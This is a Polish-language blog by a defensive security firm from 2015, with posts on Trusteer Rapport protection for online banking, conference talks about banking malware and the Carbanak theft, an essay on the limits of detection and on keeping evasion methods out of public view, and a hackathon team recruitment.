1) przed którymi wektorami Trusteer Rapport uratuje klientów, którzy go zainstalują?

Opatentowany system ochrony przeglądarki (tzw. lockdown technology) chroni przeglądarki przed nieuprawnionym dostępem do informacji, które są przekazywane między klientem, a bankiem niezależnie od tego jaki typ złośliwego oprogramowania powoduje zagrożenie.

Rapport efektywnie blokuje wszystkie te techniki ataku:
· Phishing
· Pharming lub DNS Spoofing
· Keylogging
· Man-in-the-Middle
· Man-in-the-Browser
· Screen Capturing
· Session Hijacking
· Drive-by Download

2) czy sytuacja, w której zaatakowany jest punkt dostępowy do sieci Internet (podmiana serwerów DNS lub zdefiniowanie adresów IP dla konkretnych nazw) to rozwiązanie nadal będzie skuteczne?

Trusteer Rapport również chroni przed takimi atakami, określanymi mianem DNS spoofing lub Pharming.

3) co z urządzeniami mobilnym, na których korzystamy z systemów bankowości elektronicznej w wersji klasycznej, light (tzw. "lekkiej"/mobilnej) lub natywnej?

Trusteer Rapport chroni obecnie tylko komputery stacjonarne.

4) co z korzystaniem z bankowości elektronicznej poza komputerem, na którym klient zainstalował Trusteer Rapport?


Bank zaleca klientom instalację programu Trusteer Rapport na każdym komputerze wykorzystywanym do połączeń z serwisem bankowości internetowej. Użytkownik może sobie bezpłatnie zainstalować Rapporta na dowolnej liczbie urządzeń.

PS
Na zamówienie dokonujemy ewaluacji rozwiązań bezpieczeństwa, strategii/taktyk czy działań operacyjnych w zakresie wykrywania i obsługi incydentów bezpieczeństwa (także dotyczących ataków na klientów sektora finansowego) - na pewno pomożemy odpowiedzieć na wcześniej wymienione pytania i znacznie więcej. (kontakt {@} whitecatsec.com)

2015-05-04

FBB 2015: Efektywna wymiana informacji

Już w najbliższą środę (06.05.2015 - Warszawa) podczas Forum Bezpieczeństwa Banków 2015 kontynuacja cyklu prezentacji dla sektora finansowego i pokrewnych. Tym razem tematem będzie "Efektywna wymiana informacji" - czyli, na naszą wiedzę jeszcze niewykorzystany potencjał, pozwalający na skuteczne obniżanie poziomu ryzyka (czyt. stresu) zarówno dla banków jak i ich klientów.

Jeśli chcesz posłuchać o:
1) źródłach motywacji do wymiany,
2) czym (z jakimi cechami) i jak się wymieniać,
3) z kim się wymieniać i w jakim celu,
4) skąd czerpać (rola "zbieracza" i "łowcy") informacje by mieć czym się wymienić,
5) jak to wygląda poza granicami Polski.

Zapraszamy!

W przypadku chęci wymiany doświadczeń lub potrzeby wsparcia w tym temacie, zapraszamy do rozmowy z Przemkiem Skowronem podczas FBB lub w innym terminie (kontakt {@} whitecatsec.com).

2015-04-01

CONFidence 2015: Carbanak - analiza przypadku

Podczas X edycji konferencji CONFidence, będziemy mieć przyjemność poddać analizie prawdopodobnie największą kradzież XXI w. (na dzień dzisiejszy) - Carbanak.

Analiza tego przypadku ma zwrócić szczególną uwagę na często niedoceniany obszar ciągłego monitoringu bezpieczeństwa+reakcji na podejrzenia incydentów, a także zaproponować konkretne metodyki jak ugryźć ten problem. Szkoda by Carbanak miał naśladowców, którzy ponownie osiągną swój cel (czyt. ogromne straty dla banków).

Serdecznie zapraszamy na prezentację i rozmowy w kuluarach.

2015-03-30

SEMAFOR 2015: kontrowersje i żółta kartka

W ostatni czwartek i piątek miał miejsce SEMAFOR 2015 oraz BlackHat Asia.

Nie przypadkiem wspominamy o drugiej imprezie, na obu rozmawiano o bankerach.

Zaczynając od podsumowania konferencji SEMAFOR, podczas naszej prezentacji oraz dyskusji stolikowych podzieliliśmy się z uczestnikami swoim doświadczeniem jakie scenariusze użycia są nadużywane przez przestępców by finalnie wyprowadzić środki finansowe oraz pomysłami jak żyć (czyt. jak skutecznie wykrywać) z przestępcami na urządzeniach klientów systemów transakcyjnych,  tak by nie tracili zgromadzonych środków. Szczególnie owocne były dyskusje stolikowe oraz rozmowy kuluarowe. Próg wejścia w skuteczną detekcję jest stosunkowo niski, tani i szybki, a co najbardziej zaskakiwało dotychczas nieświadomą część słuchaczy, to prostota mechanizmów, które musimy przygotować. WhiteCat od lat przyzwyczajony jest do takich reakcji: "to nie może być takie proste!", "takie błędy popełniają przestępcy?!", itp. Tak, to takie proste, trzeba tylko na to wpaść, wdrożyć i obserwować jak to zagrożenie ewoluje by móc na nie adekwatnie reagować :-) Przyda się też doświadczenie.

Podczas dyskusji stolikowych uzupełnialiśmy to czego nie było na slajdach prezentacji i nie chcemy w szerokim gronie publikować by nie odrabiać lekcji za atakujących, sugerując gdzie powinni szukać obrońców. Tematem dość gorącym była próba podejścia do edukacji użytkowników systemów transakcyjnych, a wnioskiem, że należy zacząć od podstaw i w ramach nauczania, które naturalnie powinno przygotowywać ludzi do dorosłego życia - etapy szkoły podstawowej/gimnazjum/średniej/itd.

W naszej ocenie dyskusje stolikowe to ciekawe narzędzie do szybkiej wymiany doświadczeń osób, które na co dzień nie mają okazji się spotkać i porozmawiać. Cenne i warte naśladowania!

Kontrowersje.

Spotykamy się z opiniami, że metody detekcji można pominąć/ominąć/oślepić/itp. (zbędne skreślić). To prawda generalna, z którą trzeba się zawsze liczyć i w każdym temacie. Ten nie jest wyjątkowy choć wrażliwszy niż większość.

Przykład.

Czy wdrożony Web Application Firewall (WAF) w trybie logowania (czyt. alarmowania), na bazie wbudowanych sygnatur zapewni nam 100% skuteczność detekcji, a dodatkowo nie podlega w/w zasadom obniżania jego skuteczności? - oczywiście, że podlega. Czy to oznacza, że nie warto tego WAF'a stosować? - warto! Zaczynając od kosztów (osobowych, czasu uruchomienia: od posiadania rozwiązania w infrastrukturze do jego wdrożenia w takim trybie) i efektów działania (większość napastników WAF zauważy i to podstawa do tego by móc rozpocząć powstrzymanie go zanim zgotuje firmie/organizacji realną stratę), taki tryb uruchomienia WAFa to wykorzystanie zasady Pareto - 20% realizacji projektu wdrożenia tego rozwiązania da skuteczność w postaci wykrycia ok. 80% napastników. Takie są realia. Do czasu aż "80%" napastników nie podniesie swojego poziomu te 20% realizacji projektu będzie dla nich wystarczające[1] (czyt. tanie, szybkie w realizacji). Temat ataków na aplikacje webowe ma sporo ponad 10 lat, jest dużo narzędzi do ich testowania, zabezpieczania, a także obrony (bez skutecznego i ciągłego monitoringu + aktywnej obrony aplikacji webowych, nie ma mowy świadomości jak bezpieczna jest nasza firma/organizacja oraz czy jesteśmy atakowani).

Przejdźmy do bankerów. Ich historia jest całkiem inna. Od lat znane są rozwiązania bezpieczeństwa zarówno po stronie użytkowników (rzadko stosowane lub efektywne) jak i po stronie banków ("silne" metody autoryzacji czy systemy Fraud Detection System), choć i jedne i drugie niezbyt przeszkadzają w efektywnej kradzieży środków klientów - przedstawialiśmy krótkie zestawienie podczas SEMAFORa (prezentacja dostępna po kontakcie mailowym z nami - kontakt {@} whitecatsec.com - odpowiemy tylko na maile, gdzie będziemy w stanie określić prawdziwego nadawcę/firmę).

Rozwiązania służące do detekcji zainfekowanego urządzenia klienta, które spełniają choćby zasadę Pareto są dużo młodsze niż np. WAF, mają mnóstwo znanych (nieznanych również) wad, analogicznie jak z wziętym na potrzeby porównania Firewallem Aplikacji Webowych. To co różni obie rodziny technologii mających podnieść poziom bezpieczeństwa to ich dojrzałość i bezpośrednie skutki jeśli zawiodą. Wg. WhiteCat Security niezwykle istotne jest mieć opracowany model zagrożeń dla aktywów, które chronimy, ale także dla stosowanych rozwiązań bezpieczeństwa. Chcemy znać metody obejścia/ograniczenia obrony, którą stosujemy by móc adekwatnie na nie reagować kiedy ktoś zacznie z nich korzystać, a najlepiej trochę wcześniej. Dlaczego "trochę wcześniej" i dlaczego nie od razu odstraszać wroga wielkimi działami? Odpowiedź prosta i oczywista dla wszystkich doświadczonych obrońców: aby uruchomić bardziej niezawodny mechanizm detekcji ataku potrzeba znacznie więcej niż 20% realizacji projektu -> dużo więcej czasu, środków finansowych, a w konsekwencji dużo później zaczniemy aktywnie reagować (czyt. zmniejszać koszty -> skutki wydarzających się incydentów).

Realizacja 20% projektu dający ok. 80% wyników (choć skuteczność detekcji może wynosić już 100%! - brakujące % to właśnie akceptowane i znane metody pominięcia/ominięcia czy oślepienia mechanizmu, ale dzisiaj niestosowane w sposób powszechny przez napastników!) znacząco polepsza sytuację firmy/organizacji/klientów TU i TERAZ - nie za miesiąc/kwartał lub dłuższy okres.

Jaki jest powód by mieć większe, niekontrolowane straty skoro można mieć mniejsze już "teraz"?

Wiedza o metodach omijania/oślepiania/itd. nie jest i nie powinna być tematem tabu czy security by obscurity, choć uważamy, że powinna być dystrybuowana w kanałach komunikacyjnych, które nie są oczywiste dla tych, którzy mogą być zainteresowani omijaniem detekcji - dlaczego odrabiać za nich lekcje? Poważnie zainteresowanych odpowiedzią na to pytanie zapraszamy do kontaktu z nami,  publicznie nie ujawniamy taktyk czy modelów zagrożeń narzędzi stosowanych do detekcji działania bankerów.

Pracownicy jednej z firm zajmujących się testowaniem bezpieczeństwa, równolegle do konferencji SEMAFOR, na BlackHat Asia opublikowali wyniki badań mechanizmów detekcji webinjectów. Panowie, żółta kartka dla Was. Uzasadnieniem kartki jest powyższy wpis oraz to, że otrzymaliście przed prezentacją sugestie i refleksje na jej temat, które zignorowaliście. Jeśli nie pomagacie, nie przeszkadzajcie (czyt. nie ułatwiajcie przestępcom). Praca "w cieniu" swoich sukcesów to też rozwiązanie, a ten temat wymaga stosownej wrażliwości.

[1] - niezwykle istotne jest jak zareagujemy na alarmy z WAF'a, musimy być na to przygotowani (procedura obsług takich alarmów, odpowiednio często przeglądane alarmy, itp.)

2015-03-24

SEMAFOR 2015: otwarcie o bankerach

Już w czwartek i piątek (26-27.03.2015) będzie znakomita okazja do porozmawiania o tzw. bankerach czyli złośliwym oprogramowaniu atakującym... no właśnie: klientów czy same banki?

W Warszawie, podczas konferencji SEMAFOR, spotka się wielu "entuzjastów" tematu, choć nie będą to jedyni bohaterowie dwóch dni.

Ze strony WhiteCat Security zapraszamy na :
 - prezentację Złośliwe oprogramowanie w bankowości: „żaden problem…”
 - dyskusje stolikowe: Bankowość internetowa kontra malware - Jak leczyć przyczyny a nie skutki?

które będziemy mieli przyjemność poprowadzić oraz do dyskusji kuluarowych, szczególnie jeśli chcecie porozmawiać o sposobach jak coś rozwiązać/osiągnąć.

Podsumowanie zostanie opublikowane po zakończeniu konferencji.

2015-03-23

YubiKing 2015 - rekrutacja zespołu

Firma Yubico organizuje wirtualny hackathon YubiKing 2015, w którym WhiteCat Security zamierza poprowadzić drużynę złożoną z niezależnych pasjonatów.

Wszystkie oficjalne informacje można znaleźć tu (opis, terminy, itp.) i tu (regulamin).

Trzy zwycięskie projekty otrzymają po 3000$ (na zespół), gadżety oraz promocję projektu przez firmę Yubico.

Tematem przewodnim dla proponowanego, prototypowego rozwiązania, wypracowanego podczas hackathonu będzie bezpieczeństwo w systemach transakcyjnych: detekcja aktywności złośliwego oprogramowania.

Zespół roboczy będzie złożony z 2-4 osób.
Okres trwania projektu: 01.04-15.06.2015 (2,5 miesiąca)
Lokalizacja: zdalnie z możliwością spotkania (Kraków/Warszawa/inne) lub video konferencji min. raz na 2 tygodnie.

Wymagania: szczere i dobre chęci (musimy Cię wcześniej znać - nie dla "złych chłopców"), porcja czasu (deklarowana min. 5h/tygodniowo), otwarty umysł, znajomość dwóch lub więcej ilości słów: JS, Python, Go, Web, Crypto, Security, Videocasty.

Co w zamian:
 - brak zbędnych formalności (pod warunkiem, że się znamy)
 - współpraca w płaskiej strukturze (odpowiadasz za to co robisz)
 - praca nad *HOT* tematem z "dinozaurami", które można jeszcze zobaczyć, ale za okazaniem trudno dostępnych biletów
 - wynagrodzenie adekwatne do wkładu (tylko w przypadku wygranej, max. 1/N-ta nagrody, gdzie N to liczba członków zespołu)
 - promocja z imienia i nazwiska członków zespołu (o ile wyrazi chęć i zgodę)
 - preferowany wybór przy dobrze zespołu na poczet innych projektów

Osoby zainteresowane czynnym uczestnictwem w projekcie, proszone są o kontakt mailowy (jeśli nas znasz, to wiesz gdzie napisać - nie na skrzynkę "kontakt") najpóźniej do 30.03.2015 r., dzień później na bazie jednego prostego zadania zostanie wybrany skład zespołu.

BONUS: jeśli chcesz wesprzeć budżet tego projektu, proszę o: kontakt {@} whitecatsec.com

2015-03-12

Start

Blog będzie miejscem publikacji informacji odnośnie usług, produktów, zrealizowanych projektów przez WhiteCat Security (publicznych lub za zgodą zamawiającego) oraz komentarzy wydarzeń z obszaru bezpieczeństwa - tych, które sami chcemy skomentować lub zostaniemy o to poproszeni.


WhiteCat Security to grupa zajmująca się głównie defensywnymi aspektami bezpieczeństwa informacji, umiejętności ofensywnych używamy by przetestować i zbudować adekwatną do potrzeb obronę, pozwalającą efektywnie nie przegrać wojny i przeżyć ją.

W razie pytań zapraszamy do kontaktu - kontakt {@} whitecatsec.com - odpowiem osobiście.